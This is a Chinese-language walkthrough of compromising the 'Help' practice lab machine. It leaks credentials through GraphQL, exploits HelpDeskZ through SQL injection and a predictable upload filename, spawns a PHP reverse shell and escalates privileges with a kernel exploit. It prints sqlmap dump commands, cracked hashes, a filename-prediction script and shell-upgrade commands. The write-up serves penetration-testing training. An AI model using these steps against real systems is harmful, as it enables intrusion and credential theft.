概述 (Overview)
- MACHINE TAGS
- Python
- SQL
- Arbitrary File Upload
- SQLi
- Web
攻击链 (Kiillchain)
TTPs (Tactics, Techniques & Procedures)
- nmap
- dirsearch
- exploit-db
- inql
- Linux Kernel Privilege Escalation
阶段1:枚举
首先还是通过 Nmap 进行开局:
开放端口很少,80 页面为默认 Apache 组件首页:
查看 3000 端口,页面只显示了一串英文,关键信息:用户 Shiv
,查询凭证:
Hi Shiv, To get access please find the credentials with given query
在 header 中发现服务指纹信息 Express
。
Express 是一种保持最低程度规模的灵活 Node.js Web 应用程序框架,为Web 和移动应用程序提供一组强大的功能。
利用 dirsearch 枚举下路径信息,发现存在一个 /support/
路径:
阶段2:工具和利用
阶段2.1:exploit尝试
服务的信息为 HelpDeskZ Support Center
,尝试搜索 exploit-db:
# searchsploit HelpDeskZ
-------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------------------------------------------------------------- ---------------------------------
HelpDeskZ 1.0.2 - Arbitrary File Upload | php/webapps/40300.py
HelpDeskZ < 1.0.2 - (Authenticated) SQL Injection / Unauthorized File Download | php/webapps/41200.py
-------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
看描述是存在文件上传的问题,通过查看 README.md 确认下当前版本:
利用步骤:
So by guessing the time the file was uploaded, we can get RCE.
Steps to reproduce:
http://localhost/helpdeskz/?v=submit_ticket&action=displayForm
Enter anything in the mandatory fields, attach your phpshell.php, solve the captcha and submit your ticket.
Call this script with the base url of your HelpdeskZ-Installation and the name of the file you uploaded:
exploit.py http://localhost/helpdeskz/ phpshell.php
准备上传的反弹shell:
测试了一下上传提示没有权限,看来是需要登录才行:
阶段2.2:GraphQL查询
转而研究 Express ,通过google了解到它是通过 GraphQL 语法查询API的:
验证是否存在查询接口:
不存在 /admin
接口,存在 graphql
接口:
通过 burp 安装 https://github.com/doyensec/inql
插件,进行语法查询:
点击右键可以选择通过那种工具进行查询,选择 to graphiql
则会打开一个浏览器IDE工具:
OK,现在我们得到了一组用户名口令:
{"data":{"user":{"password":"5d3c93182bb20f07b994a7f617e99cff","username":"helpme@helpme.com"}}}
查询MD5解密:https://md5hashing.net/hash/md5/5d3c93182bb20f07b994a7f617e99cff
5d3c93182bb20f07b994a7f617e99cff : godhelpmeplz
成功登录 HelpDeskZ
系统:
阶段2.3:SQL注入到任务文件上传利用
找到文件上传视图,测试 41200.py 的 SQL注入:
http://10.10.10.121/support/?v=view_tickets
http://10.10.10.121/support/?v=submit_ticket
http://10.10.10.121/support/?v=view_tickets&action=ticket¶m[]=4
http://10.10.10.121/support/?v=view_tickets&action=ticket¶m[]=4¶m[]=attachment¶m[]=3¶m[]=8
找到URL及关键参数,简单验证下SQL注入是否存在:
在通过 sqlmap 验证下漏洞真实性:
通过该系统的建表语句了解表结构,获取用户信息:https://github.com/helpdesk-z/helpdeskz-dev/blob/4ed1a685d9f24741dc4c2393a6c098079175808c/hdz/install/db.sql
# sqlmap -r requert.txt -D support -T users -C email,password --dump
[11:34:45] [INFO] retrieved: 2
[11:34:47] [INFO] retrieved: helpme@helpme.com
[11:35:59] [INFO] retrieved: c3b3bd1eb5142e29adb0044b16ee4d402d06f9ca
[11:39:23] [INFO] retrieved: lolololol@yopmail.com
[11:40:34] [INFO] retrieved: ec09fa0d0ba74336ea7fe392869adb198242f15a
# sqlmap -r requert.txt -D support -T staff -C username,password --dump
Database: support
Table: staff
[1 entry]
+----------+------------------------------------------+
| username | password |
+----------+------------------------------------------+
| admin | d318f44739dced66793b1a603028133a76ae680e |
+----------+------------------------------------------+
获取管理账号并成功解出密码:
c3b3bd1eb5142e29adb0044b16ee4d402d06f9ca : godhelpmeplz
d318f44739dced66793b1a603028133a76ae680e : Welcome1
通过代码审计找到文件上传方便,查看下文件上传后保存在服务器上的路径生成规则:
可以看到,在 141 行中,最终的文件名会是一个 md5 + $ext
的形式。
根据代码内容构造出最终服务器保存脚本的路径:
import hashlib
import datetime
import sys
currentTime = int((datetime.datetime.strptime(sys.argv[1], '%a, %d %b %Y %H:%M:%S %Z') - datetime.datetime(1970,1,1)).total_seconds())
plaintext = 'phpshell.php' + str(currentTime)
md5hash = hashlib.md5(plaintext).hexdigest()
url = 'support/uploads/tickets/'+md5hash+'.php'
print url
得到:http://10.10.10.121/support/uploads/tickets/750ed74dcddcc38d1095182c6c2563fe.php
开启 nc 监听,访问上面生成的URL成功获得 help 用户sehll。
获得完整 tty shell:
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
help@help:/$ export TERM=xterm
[Ctrl + Z]
kali@kali~$ stty raw -echo; fg
如果终端输出有截断,可以加上下面这条
$ stty rows 38 columns 116
查询下目标机器可登录用户:
cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
help:x:1000:1000:help,,,:/home/help:/bin/bash
尝试下密码碰撞,成功通过 help 用户登录目标服务器获得 user flag:
阶段3:权限提升
通过信息收集工具枚举目标服务器利用信息:
[-] Kernel information:
Linux help 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
[-] Kernel information (continued):
Linux version 4.4.0-116-generic (buildd@lgw01-amd64-021) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.9) ) #140-Ubuntu SMP Mon Feb 12 21:23:04
UTC 2018
[-] Specific release information:
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=16.04
DISTRIB_CODENAME=xenial
DISTRIB_DESCRIPTION="Ubuntu 16.04.5 LTS"
NAME="Ubuntu"
VERSION="16.04.5 LTS (Xenial Xerus)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 16.04.5 LTS"
VERSION_ID="16.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
VERSION_CODENAME=xenial
UBUNTU_CODENAME=xenial
发现系统版本已经很老了,直接搜索内核类提权 exploit:searchsploit "Linux Kernel" | grep 4.4.0
编译运行该本地提权 exploit,成功获取 root flag:
总耗时,四个半小时,我是真的菜菜菜菜菜菜菜菜菜菜菜菜菜菜菜菜菜菜菜菜菜菜菜菜菜菜菜菜菜菜菜菜菜菜菜菜菜菜菜菜菜…
参考
- https://md5hashing.net/
- https://sha1.gromweb.com/